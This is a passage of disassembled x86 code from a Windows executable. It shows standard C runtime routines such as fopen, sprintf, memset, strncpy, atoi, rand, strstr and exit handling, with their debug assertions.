[eax+4], 0 jz short loc_4211F9 mov ecx, [ebp+arg_C] mov edx, [ebp+var_C] cmp edx, [ecx+4] jnb short loc_4211A1 mov eax, [ebp+var_C] mov [ebp+var_20], eax jmp short loc_4211AA ; --------------------------------------------------------------------------- loc_4211A1: ; CODE XREF: sub_421120+77j mov ecx, [ebp+arg_C] mov edx, [ecx+4] mov [ebp+var_20], edx loc_4211AA: ; CODE XREF: sub_421120+7Fj mov eax, [ebp+var_20] mov [ebp+var_18], eax mov ecx, [ebp+var_18] push ecx mov edx, [ebp+arg_C] mov eax, [edx] push eax mov ecx, [ebp+var_8] push ecx call sub_422B50 add esp, 0Ch mov edx, [ebp+var_C] sub edx, [ebp+var_18] mov [ebp+var_C], edx mov eax, [ebp+arg_C] mov ecx, [eax+4] sub ecx, [ebp+var_18] mov edx, [ebp+arg_C] mov [edx+4], ecx mov eax, [ebp+arg_C] mov ecx, [eax] add ecx, [ebp+var_18] mov edx, [ebp+arg_C] mov [edx], ecx mov eax, [ebp+var_8] add eax, [ebp+var_18] mov [ebp+var_8], eax jmp loc_4212E3 ; --------------------------------------------------------------------------- loc_4211F9: ; CODE XREF: sub_421120+63j ; sub_421120+6Cj mov ecx, [ebp+var_C] cmp ecx, [ebp+var_1C] jb loc_42129E cmp [ebp+var_1C], 0 jz short loc_42121D mov eax, [ebp+var_C] xor edx, edx div [ebp+var_1C] mov eax, [ebp+var_C] sub eax, edx mov [ebp+var_24], eax jmp short loc_421223 ; --------------------------------------------------------------------------- loc_42121D: ; CODE XREF: sub_421120+E9j mov ecx, [ebp+var_C] mov [ebp+var_24], ecx loc_421223: ; CODE XREF: sub_421120+FBj mov edx, [ebp+var_24] mov [ebp+var_18], edx mov eax, [ebp+var_18] push eax mov ecx, [ebp+var_8] push ecx mov edx, [ebp+arg_C] mov eax, [edx+10h] push eax call sub_429A00 add esp, 0Ch mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_421268 mov ecx, [ebp+arg_C] mov edx, [ecx+0Ch] or edx, 10h mov eax, [ebp+arg_C] mov [eax+0Ch], edx mov eax, [ebp+var_10] sub eax, [ebp+var_C] xor edx, edx div [ebp+arg_4] jmp loc_4212EB ; --------------------------------------------------------------------------- loc_421268: ; CODE XREF: sub_421120+127j cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_42128A mov ecx, [ebp+arg_C] mov edx, [ecx+0Ch] or edx, 20h mov eax, [ebp+arg_C] mov [eax+0Ch], edx mov eax, [ebp+var_10] sub eax, [ebp+var_C] xor edx, edx div [ebp+arg_4] jmp short loc_4212EB ; --------------------------------------------------------------------------- loc_42128A: ; CODE XREF: sub_421120+14Cj mov ecx, [ebp+var_C] sub ecx, [ebp+var_14] mov [ebp+var_C], ecx mov edx, [ebp+var_8] add edx, [ebp+var_14] mov [ebp+var_8], edx jmp short loc_4212E3 ; --------------------------------------------------------------------------- loc_42129E: ; CODE XREF: sub_421120+DFj mov eax, [ebp+arg_C] push eax call sub_429810 add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_4212C0 mov eax, [ebp+var_10] sub eax, [ebp+var_C] xor edx, edx div [ebp+arg_4] jmp short loc_4212EB ; --------------------------------------------------------------------------- loc_4212C0: ; CODE XREF: sub_421120+191j mov ecx, [ebp+var_8] mov dl, byte ptr [ebp+var_4] mov [ecx], dl mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax mov ecx, [ebp+var_C] sub ecx, 1 mov [ebp+var_C], ecx mov edx, [ebp+arg_C] mov eax, [edx+18h] mov [ebp+var_1C], eax loc_4212E3: ; CODE XREF: sub_421120+D4j ; sub_421120+17Cj jmp loc_42116B ; --------------------------------------------------------------------------- loc_4212E8: ; CODE XREF: sub_421120+4Fj mov eax, [ebp+arg_8] loc_4212EB: ; CODE XREF: sub_421120+24j ; sub_421120+143j ... mov esp, ebp pop ebp retn sub_421120 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4212F0 proc near ; CODE XREF: sub_4213F0+Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi loc_4212F9: ; CODE XREF: sub_4212F0+31j cmp [ebp+arg_0], 0 jnz short loc_42131D push offset aFileNull ; "file != NULL" push 0 push 35h push offset aFopen_c ; "fopen.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_42131D int 3 ; Trap to Debugger loc_42131D: ; CODE XREF: sub_4212F0+Dj ; sub_4212F0+2Aj xor eax, eax test eax, eax jnz short loc_4212F9 loc_421323: ; CODE XREF: sub_4212F0+5Fj mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] test edx, edx jnz short loc_42134B push offset aFile_t0 ; "*file != _T('\\0')" push 0 push 36h push offset aFopen_c ; "fopen.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_42134B int 3 ; Trap to Debugger loc_42134B: ; CODE XREF: sub_4212F0+3Bj ; sub_4212F0+58j xor eax, eax test eax, eax jnz short loc_421323 loc_421351: ; CODE XREF: sub_4212F0+89j cmp [ebp+arg_4], 0 jnz short loc_421375 push offset aModeNull ; "mode != NULL" push 0 push 37h push offset aFopen_c ; "fopen.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_421375 int 3 ; Trap to Debugger loc_421375: ; CODE XREF: sub_4212F0+65j ; sub_4212F0+82j xor ecx, ecx test ecx, ecx jnz short loc_421351 loc_42137B: ; CODE XREF: sub_4212F0+B7j mov edx, [ebp+arg_4] movsx eax, byte ptr [edx] test eax, eax jnz short loc_4213A3 push offset aMode_t0 ; "*mode != _T('\\0')" push 0 push 38h push offset aFopen_c ; "fopen.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_4213A3 int 3 ; Trap to Debugger loc_4213A3: ; CODE XREF: sub_4212F0+93j ; sub_4212F0+B0j xor ecx, ecx test ecx, ecx jnz short loc_42137B call sub_42A270 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4213BB xor eax, eax jmp short loc_4213E5 ; --------------------------------------------------------------------------- loc_4213BB: ; CODE XREF: sub_4212F0+C5j mov edx, [ebp+var_4] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_429EE0 add esp, 10h mov [ebp+var_8], eax mov eax, [ebp+var_4] push eax call sub_424BA0 add esp, 4 mov eax, [ebp+var_8] loc_4213E5: ; CODE XREF: sub_4212F0+C9j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4212F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4213F0 proc near ; CODE XREF: .XComp0:00401108p ; sub_4021E5+548Ep ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 40h mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_4212F0 add esp, 0Ch pop ebp retn sub_4213F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_421410 proc near ; CODE XREF: .XComp0:0040129Ep ; .XComp0:004012B4p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_421463 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_421457 neg ecx and ecx, 3 jz short loc_421439 sub edx, ecx loc_421433: ; CODE XREF: sub_421410+27j mov [edi], al inc edi dec ecx jnz short loc_421433 loc_421439: ; CODE XREF: sub_421410+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_421457 rep stosd test edx, edx jz short loc_42145D loc_421457: ; CODE XREF: sub_421410+18j ; sub_421410+3Fj ... mov [edi], al inc edi dec edx jnz short loc_421457 loc_42145D: ; CODE XREF: sub_421410+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_421463: ; CODE XREF: sub_421410+Aj mov eax, [esp+arg_0] retn sub_421410 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_421470 proc near ; CODE XREF: sub_4016A7+5B2p ; sub_4016A7+5D0p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_4214F3 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_421494 shr ecx, 2 jnz short loc_421501 jmp short loc_4214B5 ; --------------------------------------------------------------------------- loc_421494: ; CODE XREF: sub_421470+1Bj ; sub_421470+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_4214C2 test al, al jz short loc_4214CA test esi, 3 jnz short loc_421494 mov ebx, ecx shr ecx, 2 jnz short loc_421501 loc_4214B0: ; CODE XREF: sub_421470+8Fj and ebx, 3 jz short loc_4214C2 loc_4214B5: ; CODE XREF: sub_421470+22j ; sub_421470+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_4214EE dec ebx jnz short loc_4214B5 loc_4214C2: ; CODE XREF: sub_421470+2Bj ; sub_421470+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_4214CA: ; CODE XREF: sub_421470+2Fj test edi, 3 jz short loc_4214E4 loc_4214D2: ; CODE XREF: sub_421470+72j mov [edi], al inc edi dec ecx jz loc_421566 test edi, 3 jnz short loc_4214D2 loc_4214E4: ; CODE XREF: sub_421470+60j mov ebx, ecx shr ecx, 2 jnz short loc_421557 loc_4214EB: ; CODE XREF: sub_421470+7Fj ; sub_421470+F4j mov [edi], al inc edi loc_4214EE: ; CODE XREF: sub_421470+4Dj dec ebx jnz short loc_4214EB pop ebx pop esi loc_4214F3: ; CODE XREF: sub_421470+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_4214F9: ; CODE XREF: sub_421470+A9j ; sub_421470+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_4214B0 loc_421501: ; CODE XREF: sub_421470+20j ; sub_421470+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_4214F9 test dl, dl jz short loc_42154B test dh, dh jz short loc_421541 test edx, 0FF0000h jz short loc_421537 test edx, 0FF000000h jnz short loc_4214F9 mov [edi], edx jmp short loc_42154F ; --------------------------------------------------------------------------- loc_421537: ; CODE XREF: sub_421470+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_42154F ; --------------------------------------------------------------------------- loc_421541: ; CODE XREF: sub_421470+B1j and edx, 0FFh mov [edi], edx jmp short loc_42154F ; --------------------------------------------------------------------------- loc_42154B: ; CODE XREF: sub_421470+ADj xor edx, edx mov [edi], edx loc_42154F: ; CODE XREF: sub_421470+C5j ; sub_421470+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_421561 loc_421557: ; CODE XREF: sub_421470+79j xor eax, eax loc_421559: ; CODE XREF: sub_421470+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_421559 loc_421561: ; CODE XREF: sub_421470+E5j and ebx, 3 jnz short loc_4214EB loc_421566: ; CODE XREF: sub_421470+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_421470 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421570 proc near ; CODE XREF: sub_421670+7p ; sub_437910+8Fp ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h loc_421576: ; CODE XREF: sub_421570+4Ej cmp dword_4524F0, 1 jle short loc_421596 push 8 mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] push ecx call sub_429750 add esp, 8 mov [ebp+var_10], eax jmp short loc_4215AF ; --------------------------------------------------------------------------- loc_421596: ; CODE XREF: sub_421570+Dj mov edx, [ebp+arg_0] xor eax, eax mov al, [edx] mov ecx, off_4522E4 xor edx, edx mov dx, [ecx+eax*2] and edx, 8 mov [ebp+var_10], edx loc_4215AF: ; CODE XREF: sub_421570+24j cmp [ebp+var_10], 0 jz short loc_4215C0 mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax jmp short loc_421576 ; --------------------------------------------------------------------------- loc_4215C0: ; CODE XREF: sub_421570+43j mov ecx, [ebp+arg_0] xor edx, edx mov dl, [ecx] mov [ebp+var_4], edx mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax mov ecx, [ebp+var_4] mov [ebp+var_C], ecx cmp [ebp+var_4], 2Dh jz short loc_4215E5 cmp [ebp+var_4], 2Bh jnz short loc_4215F8 loc_4215E5: ; CODE XREF: sub_421570+6Dj mov edx, [ebp+arg_0] xor eax, eax mov al, [edx] mov [ebp+var_4], eax mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx loc_4215F8: ; CODE XREF: sub_421570+73j mov [ebp+var_8], 0 loc_4215FF: ; CODE XREF: sub_421570+E9j cmp dword_4524F0, 1 jle short loc_42161B push 4 mov edx, [ebp+var_4] push edx call sub_429750 add esp, 8 mov [ebp+var_14], eax jmp short loc_421630 ; --------------------------------------------------------------------------- loc_42161B: ; CODE XREF: sub_421570+96j mov eax, [ebp+var_4] mov ecx, off_4522E4 xor edx, edx mov dx, [ecx+eax*2] and edx, 4 mov [ebp+var_14], edx loc_421630: ; CODE XREF: sub_421570+A9j cmp [ebp+var_14], 0 jz short loc_42165B mov eax, [ebp+var_8] imul eax, 0Ah mov ecx, [ebp+var_4] lea edx, [eax+ecx-30h] mov [ebp+var_8], edx mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] mov [ebp+var_4], ecx mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx jmp short loc_4215FF ; --------------------------------------------------------------------------- loc_42165B: ; CODE XREF: sub_421570+C4j cmp [ebp+var_C], 2Dh jnz short loc_421668 mov eax, [ebp+var_8] neg eax jmp short loc_42166B ; --------------------------------------------------------------------------- loc_421668: ; CODE XREF: sub_421570+EFj mov eax, [ebp+var_8] loc_42166B: ; CODE XREF: sub_421570+F6j mov esp, ebp pop ebp retn sub_421570 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421670 proc near ; CODE XREF: sub_4016A7+3A6p ; sub_4021E5+C01p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push eax call sub_421570 add esp, 4 pop ebp retn sub_421670 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 18h push esi loc_421697: ; CODE XREF: .XComp0:004216DFj cmp dword_4524F0, 1 jle short loc_4216B7 push 8 mov eax, [ebp+8] xor ecx, ecx mov cl, [eax] push ecx call sub_429750 add esp, 8 mov [ebp-14h], eax jmp short loc_4216D0 ; --------------------------------------------------------------------------- loc_4216B7: ; CODE XREF: .XComp0:0042169Ej mov edx, [ebp+8] xor eax, eax mov al, [edx] mov ecx, off_4522E4 xor edx, edx mov dx, [ecx+eax*2] and edx, 8 mov [ebp-14h], edx loc_4216D0: ; CODE XREF: .XComp0:004216B5j cmp dword ptr [ebp-14h], 0 jz short loc_4216E1 mov eax, [ebp+8] add eax, 1 mov [ebp+8], eax jmp short loc_421697 ; --------------------------------------------------------------------------- loc_4216E1: ; CODE XREF: .XComp0:004216D4j mov ecx, [ebp+8] xor edx, edx mov dl, [ecx] mov [ebp-4], edx mov eax, [ebp+8] add eax, 1 mov [ebp+8], eax mov ecx, [ebp-4] mov [ebp-10h], ecx cmp dword ptr [ebp-4], 2Dh jz short loc_421706 cmp dword ptr [ebp-4], 2Bh jnz short loc_421719 loc_421706: ; CODE XREF: .XComp0:004216FEj mov edx, [ebp+8] xor eax, eax mov al, [edx] mov [ebp-4], eax mov ecx, [ebp+8] add ecx, 1 mov [ebp+8], ecx loc_421719: ; CODE XREF: .XComp0:00421704j mov dword ptr [ebp-0Ch], 0 mov dword ptr [ebp-8], 0 loc_421727: ; CODE XREF: .XComp0:00421797j cmp dword_4524F0, 1 jle short loc_421743 push 4 mov edx, [ebp-4] push edx call sub_429750 add esp, 8 mov [ebp-18h], eax jmp short loc_421758 ; --------------------------------------------------------------------------- loc_421743: ; CODE XREF: .XComp0:0042172Ej mov eax, [ebp-4] mov ecx, off_4522E4 xor edx, edx mov dx, [ecx+eax*2] and edx, 4 mov [ebp-18h], edx loc_421758: ; CODE XREF: .XComp0:00421741j cmp dword ptr [ebp-18h], 0 jz short loc_421799 push 0 push 0Ah mov eax, [ebp-8] push eax mov ecx, [ebp-0Ch] push ecx call sub_42A3F0 mov ecx, eax mov esi, edx mov eax, [ebp-4] sub eax, 30h cdq add ecx, eax adc esi, edx mov [ebp-0Ch], ecx mov [ebp-8], esi mov edx, [ebp+8] xor eax, eax mov al, [edx] mov [ebp-4], eax mov ecx, [ebp+8] add ecx, 1 mov [ebp+8], ecx jmp short loc_421727 ; --------------------------------------------------------------------------- loc_421799: ; CODE XREF: .XComp0:0042175Cj cmp dword ptr [ebp-10h], 2Dh jnz short loc_4217AE mov eax, [ebp-0Ch] neg eax mov edx, [ebp-8] adc edx, 0 neg edx jmp short loc_4217B4 ; --------------------------------------------------------------------------- loc_4217AE: ; CODE XREF: .XComp0:0042179Dj mov eax, [ebp-0Ch] mov edx, [ebp-8] loc_4217B4: ; CODE XREF: .XComp0:004217ACj pop esi mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217C0 proc near ; CODE XREF: .XComp0:004248E2p push ebp mov ebp, esp cmp off_44FF1C, 0 jz short loc_4217D2 call off_44FF1C loc_4217D2: ; CODE XREF: sub_4217C0+Aj push offset dword_44102C push offset dword_441018 call sub_421990 add esp, 8 push offset dword_441014 push offset dword_441000 call sub_421990 add esp, 8 pop ebp retn sub_4217C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421800 proc near ; CODE XREF: .XComp0:0042493Dp arg_0 = dword ptr 8 push ebp mov ebp, esp push 0 push 0 mov eax, [ebp+arg_0] push eax call sub_421880 add esp, 0Ch pop ebp retn sub_421800 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421820 proc near ; CODE XREF: .XComp0:00424964p ; sub_424980+22p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 0 push 1 mov eax, [ebp+arg_0] push eax call sub_421880 add esp, 0Ch pop ebp retn sub_421820 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 push 0 push 0 call sub_421880 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 push 1 push 0 call sub_421880 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421880 proc near ; CODE XREF: sub_421800+Bp ; sub_421820+Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx call sub_421970 cmp dword_4E9234, 1 jnz short loc_4218A3 mov eax, [ebp+arg_0] push eax nop call near ptr 28205DBh push eax nop call near ptr 2810BC8h loc_4218A3: ; CODE XREF: sub_421880+10j mov dword_4E9230, 1 mov cl, byte ptr [ebp+arg_8] mov byte_4E922C, cl cmp [ebp+arg_4], 0 jnz short loc_421903 cmp dword_4EA914, 0 jz short loc_4218F1 mov edx, dword_4EA910 mov [ebp+var_4], edx loc_4218CE: ; CODE XREF: sub_421880:loc_4218EFj mov eax, [ebp+var_4] sub eax, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_4] cmp ecx, dword_4EA914 jb short loc_4218F1 mov edx, [ebp+var_4] cmp dword ptr [edx], 0 jz short loc_4218EF mov eax, [ebp+var_4] call dword ptr [eax] loc_4218EF: ; CODE XREF: sub_421880+68j jmp short loc_4218CE ; --------------------------------------------------------------------------- loc_4218F1: ; CODE XREF: sub_421880+43j ; sub_421880+60j push offset dword_441038 push offset dword_441030 call sub_421990 add esp, 8 loc_421903: ; CODE XREF: sub_421880+3Aj push offset dword_441044 push offset dword_44103C call sub_421990 add esp, 8 cmp dword_4E9238, 0 jnz short loc_42193E push 0FFFFFFFFh call sub_4204E0 add esp, 4 and eax, 20h test eax, eax jz short loc_42193E mov dword_4E9238, 1 call sub_420F90 loc_42193E: ; CODE XREF: sub_421880+9Cj ; sub_421880+ADj cmp [ebp+arg_8], 0 jz short loc_42194B call sub_421980 jmp short loc_42195F ; --------------------------------------------------------------------------- loc_42194B: ; CODE XREF: sub_421880+C2j mov dword_4E9234, 1 mov ecx, [ebp+arg_0] push ecx nop call near ptr 7C81CDDAh loc_42195F: ; CODE XREF: sub_421880+C9j mov esp, ebp pop ebp retn sub_421880 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421970 proc near ; CODE XREF: sub_421880+4p ; sub_423BB0+4p push ebp mov ebp, esp push 0Dh call sub_425990 add esp, 4 pop ebp retn sub_421970 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421980 proc near ; CODE XREF: sub_421880+C4p ; sub_423BB0+61p ... push ebp mov ebp, esp push 0Dh call sub_425A30 add esp, 4 pop ebp retn sub_421980 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421990 proc near ; CODE XREF: sub_4217C0+1Cp ; sub_4217C0+2Ep ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp loc_421993: ; CODE XREF: sub_421990+21j mov eax, [ebp+arg_0] cmp eax, [ebp+arg_4] jnb short loc_4219B3 mov ecx, [ebp+arg_0] cmp dword ptr [ecx], 0 jz short loc_4219A8 mov edx, [ebp+arg_0] call dword ptr [edx] loc_4219A8: ; CODE XREF: sub_421990+11j mov eax, [ebp+arg_0] add eax, 4 mov [ebp+arg_0], eax jmp short loc_421993 ; --------------------------------------------------------------------------- loc_4219B3: ; CODE XREF: sub_421990+9j pop ebp retn sub_421990 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4219C0 proc near ; CODE XREF: sub_4016A7+1F4p ; sub_4016A7+325p ... var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 30h push ebx push esi push edi lea eax, [ebp+var_20] mov [ebp+var_24], eax lea ecx, [ebp+arg_8] mov [ebp+var_2C], ecx loc_4219D5: ; CODE XREF: sub_4219C0+3Dj cmp [ebp+arg_0], 0 jnz short loc_4219F9 push offset aStringNull ; "string != NULL" push 0 push 5Dh push offset aSprintf_c ; "sprintf.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_4219F9 int 3 ; Trap to Debugger loc_4219F9: ; CODE XREF: sub_4219C0+19j ; sub_4219C0+36j xor edx, edx test edx, edx jnz short loc_4219D5 loc_4219FF: ; CODE XREF: sub_4219C0+67j cmp [ebp+arg_4], 0 jnz short loc_421A23 push offset aFormatNull ; "format != NULL" push 0 push 5Eh push offset aSprintf_c ; "sprintf.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_421A23 int 3 ; Trap to Debugger loc_421A23: ; CODE XREF: sub_4219C0+43j ; sub_4219C0+60j xor eax, eax test eax, eax jnz short loc_4219FF mov ecx, [ebp+var_24] mov dword ptr [ecx+0Ch], 42h mov edx, [ebp+var_24] mov eax, [ebp+arg_0] mov [edx+8], eax mov ecx, [ebp+var_24] mov edx, [ebp+arg_0] mov [ecx], edx mov eax, [ebp+var_24] mov dword ptr [eax+4], 7FFFFFFFh mov ecx, [ebp+var_2C] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+var_24] push eax call sub_42A6B0 add esp, 0Ch mov [ebp+var_28], eax mov ecx, [ebp+var_24] mov edx, [ecx+4] sub edx, 1 mov eax, [ebp+var_24] mov [eax+4], edx mov ecx, [ebp+var_24] cmp dword ptr [ecx+4], 0 jl short loc_421A9F mov edx, [ebp+var_24] mov eax, [edx] mov byte ptr [eax], 0 xor ecx, ecx and ecx, 0FFh mov [ebp+var_30], ecx mov edx, [ebp+var_24] mov eax, [edx] add eax, 1 mov ecx, [ebp+var_24] mov [ecx], eax jmp short loc_421AB0 ; --------------------------------------------------------------------------- loc_421A9F: ; CODE XREF: sub_4219C0+BBj mov edx, [ebp+var_24] push edx push 0 call sub_42A430 add esp, 8 mov [ebp+var_30], eax loc_421AB0: ; CODE XREF: sub_4219C0+DDj mov eax, [ebp+var_28] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4219C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421AC0 proc near ; CODE XREF: sub_4016A7+61p ; sub_4021E5+8C1Fp ... arg_0 = dword ptr 8 push ebp mov ebp, esp call sub_42B630 mov ecx, [ebp+arg_0] mov [eax+14h], ecx pop ebp retn sub_421AC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421AD0 proc near ; CODE XREF: sub_4016A7+1C0p ; sub_4016A7:loc_401C3Bp ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx call sub_42B630 mov [ebp+var_4], eax mov eax, [ebp+var_4] mov ecx, [eax+14h] imul ecx, 343FDh add ecx, 269EC3h mov edx, [ebp+var_4] mov [edx+14h], ecx mov eax, [ebp+var_4] mov eax, [eax+14h] shr eax, 10h and eax, 7FFFh mov esp, ebp pop ebp retn sub_421AD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_421B10 proc near ; CODE XREF: sub_4016A7+17Cp ; sub_4021E5+A6p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_421B8A mov dh, [ecx+1] test dh, dh jz short loc_421B77 loc_421B28: ; CODE XREF: sub_421B10+52j ; sub_421B10+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_421B4A test al, al jz short loc_421B44 loc_421B39: ; CODE XREF: sub_421B10+32j mov al, [esi] inc esi loc_421B3C: ; CODE XREF: sub_421B10+3Fj cmp al, dl jz short loc_421B4A test al, al jnz short loc_421B39 loc_421B44: ; CODE XREF: sub_421B10+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_421B4A: ; CODE XREF: sub_421B10+23j ; sub_421B10+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_421B3C lea edi, [esi-1] loc_421B54: ; CODE XREF: sub_421B10+63j mov ah, [ecx+2] test ah, ah jz short loc_421B83 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_421B28 mov al, [ecx+3] test al, al jz short loc_421B83 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_421B54 jmp short loc_421B28 ; --------------------------------------------------------------------------- loc_421B77: ; CODE XREF: sub_421B10+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_422686 ; --------------------------------------------------------------------------- loc_421B83: ; CODE XREF: sub_421B10+49j ; sub_421B10+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_421B8A: ; CODE XREF: sub_421B10+Fj mov eax, edi pop esi pop ebx pop edi retn sub_421B10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421B90 proc near ; CODE XREF: sub_4016A7+166p ; sub_4021E5+1BD9p ... var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 30h push ebx push esi push edi lea eax, [ebp+var_20] mov [ebp+var_24], eax lea ecx, [ebp+arg_C] mov [ebp+var_2C], ecx loc_421BA5: ; CODE XREF: sub_421B90+3Dj cmp [ebp+arg_0], 0 jnz short loc_421BC9 push offset aStringNull ; "string != NULL" push 0 push 5Dh push offset aSprintf_c ; "sprintf.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_421BC9 int 3 ; Trap to Debugger loc_421BC9: ; CODE XREF: sub_421B90+19j ; sub_421B90+36j xor edx, edx test edx, edx jnz short loc_421BA5 loc_421BCF: ; CODE XREF: sub_421B90+67j cmp [ebp+arg_8], 0 jnz short loc_421BF3 push offset aFormatNull ; "format != NULL" push 0 push 5Eh push offset aSprintf_c ; "sprintf.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_421BF3 int 3 ; Trap to 